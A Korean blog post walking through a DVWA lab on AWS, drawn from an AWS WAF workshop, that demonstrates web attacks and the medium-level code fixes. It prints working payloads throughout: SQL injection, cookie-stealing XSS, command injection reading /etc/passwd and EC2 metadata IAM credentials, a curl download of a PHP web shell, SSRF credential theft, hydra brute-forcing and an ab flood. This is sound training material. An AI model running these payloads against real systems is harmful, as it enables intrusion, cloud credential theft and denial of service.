brunch

You can make anything
by writing

C.S.Lewis

by Master Seo Sep 24. 2023

37탄-6. AWS - 웹 공격하기

<0> DVWA로 취약한 웹서버 만들자.

<1> SQL 인젝션 공격하기

<2> Reflected XSS 공격 : XSS(Reflected) 메뉴 클릭 

<3>  Stored XSS 공격: XSS (Stored) 메뉴 클릭 

<4> Command Injection 공격: Command Injection 메뉴 클릭 

<5> Backdoor 공격: File Upload 메뉴 클릭 (용도 : 이미지 파일업로드) 

<6> SSRF 공격: File Inclusion 메뉴 클릭 

<7>  Brute Force = 무차별 입력 공격

<8> VPN을 통한 우회 접근: chrome 확장프로그램 Browsec를 사용

<9> GET Flooding 공격: DVWA EC2로 바로 공격 




<0> DVWA로 취약한 웹서버 만들자.


취약한 웹서버 보안 공격해보자.


1

Dvwa 사이트 접속

로드밸런서 도메인으로 접속!

admin/ password


왼편 아래서 4번째  DVWA Security  > Security Level  > Low로 변경.  




2

모니터링 하자

별도 터미널)

Tail로 보안 로그 계속 모니터링 하자.  



3

공격 내용 ? 

아래 AWS 워크셥 자료를 참고해서 작성합니다.

https://catalog.us-east-1.prod.workshops.aws/workshops/bbaefbc2-bb4b-4332-aa36-4047e31c4972/ko-KR/03-attack  


4

웹 접속 테스트 



5

크롬에서 확인

크롬  > 도구 더보기 > 개발자 도구 > 네트워크 > 응답 해더 >  아파치 버전과 php 버전이 노출된다.

해커들은 노출된 버전을 취약점 확인하여 접근 한다!!!   



이제부터 웹 공격 하나씩 확인해보자~


<1> SQL 인젝션 공격하기 



1

DWVA 사이트 접속 > 왼쪽 SQL injection  메뉴


1  엔터   

ID: 1
First name: admin
Surname: admin


2  엔터  

ID: 2
First name: Gordon
Surname: Brown



' OR 1=1 #

테이블 정보가 모두 다 나온다!!

Or 1=1 항상 참인 조건이 되어 모든 구분이 동작하게 된다.

ID: ' OR 1=1 #
First name: admin
Surname: admin

ID: ' OR 1=1 #
First name: Gordon
Surname: Brown

ID: ' OR 1=1 #
First name: Hack
Surname: Me

ID: ' OR 1=1 #
First name: Pablo
Surname: Picasso

ID: ' OR 1=1 #
First name: Bob
Surname: Smith




2

#

mysql -uroot -pqwe123

---------------------

SHOW DATABASES;

USE dvwa;

SHOW TABLES;

SELECT * FROM users;

SELECT first_name,last_name FROM users;

SELECT first_name,last_name FROM users WHERE user_id='1';

SELECT first_name,last_name FROM users WHERE user_id='attacker' or 1=1;

SELECT * FROM users WHERE user_id='attacker' or 1=1;

exit

---------------------  



3

패드워드 항목에서도 넣어보자. 

로그인이 되어 버린다. 


# 예를 들어 아래 처럼 정상 로그인(ID/PW) 입력 한다.

SELECT user_id FROM user_table WHERE user_id='john' AND password='qwe123' 


# 아래처럼  password 부분에 항상 참이 되게 입력 시  로그온 딘다.

SELECT user_id FROM user_table WHERE user_id='attacker' or 1=1-- AND password='test'


## 결과적으로 아래처럼 변조되어 password에 어떤 값을 입력하든 로그인 허용됨

SELECT user_id FROM user_table WHERE user_id='attacker' or 1=1  



4

오른쪽 아래 소스를 보자!!!

View Source


전체 소스 보기 = Compare All Levels 소스 보기 클릭

Low 소스 보기

미듐 소스 보기

하이 소스 보기  



5

미듐으로 변경하고 재 테스트 해보자~ 


DWVA 사이트 접속 > DVWA Security > Low를 Medium으로 변경

로그아웃 > 로그인


SQL injection   

텍스트를 입력 하지 못하게 되어 있다!!!   



다음 테스트를 위해 레벨을 낮춘다.   




<2> Reflected XSS 공격 : XSS(Reflected) 메뉴 클릭 - 링크


1

메뉴얼

https://catalog.us-east-1.prod.workshops.aws/workshops/bbaefbc2-bb4b-4332-aa36-4047e31c4972/ko-KR/03-attack/03-storedxss  



2

DWVA 사이트 접속 > XSS (Reflected)  

: <script>alert(document.cookie)</script> 

Summit  

쿠키 값이 노출 된다 - -  


3

공격자는 쿠키 값으로 사용하여 공격한다. 



4

[attack 서버]

PHPSESSID값 확인 : [Attacker]EC2 혹은 웹 접속 후 크롬 개발자 도구에서 확인

#

curl -s 10.0.0.10/vulnerabilities/weak_id/ -v


PHPSESSID 등이 노출 된다.


...

< Set-Cookie: PHPSESSID=r9pr7qodmr2obrbttgln3deada;

...  



5

미듐으로 바꿔서 테스트하자!!! 

: <script>alert(document.cookie)</script> 

안된다.



대응 ?

보안 코딩 되어 있다!!!


확인 

# Medium Reflected XSS Source

<?php 

header ("X-XSS-Protection: 0"); 

// Is there any input?

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

    // Get input

    $name = str_replace( '<script>', '', $_GET[ 'name' ] ); 

    // Feedback for end user

    echo "<pre>Hello {$name}</pre>";

?>  



다음 테스트를 위해 레벨을 낮춘다.   




<3>  Stored XSS 공격: XSS (Stored) 메뉴 클릭 



1

게시판에 악성 코드 유포하는것.


Stored XSS 공격은 XSS 공격 방법 중 하나로 공격자가 공격 Script 를 웹사이트에 저장해두거나 게시판 등의 게시글 등에 저장해둔 후 사용자가 해당 페이지에 접속하거나 게시글을 클릭하였을 경우 실행되도록 하는 공격 


매뉴얼        

https://catalog.us-east-1.prod.workshops.aws/workshops/bbaefbc2-bb4b-4332-aa36-4047e31c4972/ko-KR/03-attack/03-storedxss  


2

게시판 글 링크 작성 

Name  : wow!!!

Message 란에 아래 입력 

: <script>alert(document.cookie)</script>   


쿠키가 노출된다.



3

위 게시물을 클릭하면  나의 세션 정보가 공격자에게 전달 되어 버린다.     




<4> Command Injection 공격: Command Injection 메뉴 클릭


1

메뉴얼

https://catalog.us-east-1.prod.workshops.aws/workshops/bbaefbc2-bb4b-4332-aa36-4047e31c4972/ko-KR/03-attack/04-command-injection   



2

입력

8.8.8.8 ; id

8.8.8.8 ; cat /etc/passwd 

1.1.1.1; ls /var/www/html

1.1.1.1; ls /var/www/html/config

1.1.1.1; cat /var/www/html/config/config.inc.php  



8.8.8.8 ; cat /etc/passwd 



3

Imds v2 확인 

버전 2도 문제 된다. 로컬에서 실행되기 떄문이다.


8.8.8.8 ; curl -s http://169.254.169.254/latest/meta-data/iam/

8.8.8.8 ; curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/IAMLabInstanceRole  


IMDSv2 확인 - 링크 

https://docs.aws.amazon.com/ko_kr/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html  

로컬에서 실행되므로 v2 이지만 노출 되어 버린다.  



# 토큰 확인 - 토큰이 보이게 된다.

8.8.8.8 ; curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"

AQAAAC1ZiLFgZZE4KIakmNxJhuuVi4GmpASxCIm14BeljvVPfwhbzg== 




# 사용

8.8.8.8 ; curl -H "X-aws-ec2-metadata-token: <토큰>" -v http://169.254.169.254/latest/meta-data/


8.8.8.8 ; curl -H "X-aws-ec2-metadata-token: AQAAAC1ZiLFgZZE4KIakmNxJhuuVi4GmpASxCIm14BeljvVPfwhbzg==" -v http://169.254.169.254/latest/meta-data/  


정보 들이 노출된다.



5

소스 보자.

Low 소스

미듐 소스  = 대응: ‘View Source’ → ‘Compare All Levels’ 확인 : && 와 ;는 제거   




<5> Backdoor 공격: File Upload 메뉴 클릭 (용도 : 이미지 파일업로드) 


1

메뉴얼

https://catalog.us-east-1.prod.workshops.aws/workshops/bbaefbc2-bb4b-4332-aa36-4047e31c4972/ko-KR/03-attack/06-backdoor  



2

DWVA 사이트 접속 > File Upload 메뉴 (파일 업로드)



3

웹 쉘  다운로드 하자.

curl -O https://raw.githubusercontent.com/Arrexel/phpbash/master/phpbash.php 

웹 쉘 파일 올리자.  



4

웹 프라우저료  사이트 접속하기

Web shell이 실행 된다. 해킹이 가능해지는 것이다. 



미듐으로 변경하자.


보안 코딩 내용 확인.

이미지 인지 확인하는 코딩 추가! 

// Is it an image? 

if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) {   



6

이미지 아닌 파일 업로드 시도.

안 올라간다.    




<6> SSRF 공격: File Inclusion 메뉴 클릭 


1

보안 레벨 low 로 변경  


2

File inclusion 메뉴. 

File1 클릭

File2 클릭

File3 클릭   - 정보들이 노출된다.



3

파일 경로 확인. 

page=file1.php , file2.php , file3.php 형식으로 올라간다는것 확인했다.


아래 형식이다.

http://my-alb-768944067.ap-northeast-2.elb.amazonaws.com/vulnerabilities/fi/?page=file3.php




4

IMDS 취약점으로 확인

page 다음에 입력한다.


http://<ALB  도메인 주소 >/vulnerabilities/fi/?page=http://169.254.169.254/latest/meta-data/iam/security-credentials/IAMLabInstanceRole  

웹 사이트 접속


access key , secret -key가 노출 된다.



5

소스 내용 확인 

미디엄에 보안 코딩 되어 있음.   




<7>  Brute Force = 무차별 입력 공격


1

무차별 입력 공격: Vulnerability: Brute Force 메뉴 클릭 - DVWA EC2로 바로 공격 - 링크  


2

Username(admin) Password(1234) 입력 후 Login 


코드 형식 확인.

http://<ALB>/vulnerabilities/brute/?username=admin&password=1234&Login=Login#  


3

Username(admin) Password(password) 입력 후 Login 

크롬 개발자 도구에서 아래 쿠키값 확인 Php의 세션 id 복사 하기   


4

[Attacker EC2] 에서 


# 공격 시도 

password.txt 파일 다운로드 한다.


curl -s 'https://s3.ap-northeast-2.amazonaws.com/do-not-delete-demo-website.ap-northeast-2/aws-waf-a-to-z/password.txt' --output password.txt 


 more password.txt

[root@Attacker ~]# more password.txt

WelcomeTo

AWS

WAF

Workshop

password

Error



hydra 10.0.0.10 http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: PHPSESSID=28e79da390cfd3627947cfdbfc0a4354; security=low" -l admin -P password.txt 


// 위에서 admin은 고정 이름으로 넣음 ,  암호는 파일에서 대입한다.

히드라로 암호 확인이 된다.



5

미디엄 레벨로 공격시도

한번 실패하면 2초간 시도 못하게 // 시간은 조절. 


# 공격 시도 : medium 레벨로 시도 >> 차이점 알아보자

hydra 10.0.0.10 http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: PHPSESSID=7fe30cfe7830c3aa9980207a10cef8d9; security=medium" -l admin -P password.txt  



6

# Medium Brute Force Source

<?php

...

    else {

        // Login failed

        sleep( 2 );

        echo "<pre><br />Username and/or password incorrect.</pre>";

    }

...   




<8> VPN을 통한 우회 접근: chrome 확장프로그램 Browsec를 사용 

https://chrome.google.com/webstore/detail/browsec-vpn-free-vpn-for/omghfjlpggmjjaagoclmmobgdodcjboh


1

[DVWA EC2 ]


# 실시간 웹 접속 로그

tail -f /var/log/httpd/access_log |grep -v "ELB-HealthChecker/2.0"



2

자신의 IP를 감추기 위해서 DVWA 인스턴스 접속을 VPN을 통해 우회하여 접근을 시도합니다 

Browsec를 사용

미국으로 변경 


3

로그에서 접속 ip 확인  


4

나중에 vpn으로 된거  WAF로 차단 하는 법이 설명 된다.




<9>   GET Flooding 공격: DVWA EC2로 바로 공격 


도스 공격이다.


1

[DVWA EC2] 


# 터미널1

tail -f /var/log/httpd/access_log |grep -v "ELB-HealthChecker/2.0" 


# 터미널2 : 아래 ab 실행 후 CPU 모니터링 확인해볼것!

htop  



2

[Attacker EC2] 


# 접속 확인

curl -s 10.0.0.10/vulnerabilities/weak_id/ -v

curl -s 10.0.0.10/vulnerabilities/weak_id/ -v 


# apache bench 툴로 총 10000000 요청 전송

ab -n 10000000 -c 10 10.0.0.10/vulnerabilities/weak_id/   



3

[DVWA EC2] 

Cpu와 로그 확인   


DOS 공격으로 CPU와 메모리를 과하게 사용중~~




다음은 WAF로 방어해 보자!!!  방어 환경 구축

https://brunch.co.kr/@topasvga/3447


주말 CloudNet  스터디 내용 참고하여  정리한 부분입니다.

https://gasidaseo.notion.site/gasidaseo/CloudNet-Blog-c9dfa44a27ff431dafdd2edacc8a1863  



감사합니다.

브런치는 최신 브라우저에 최적화 되어있습니다. IE chrome safari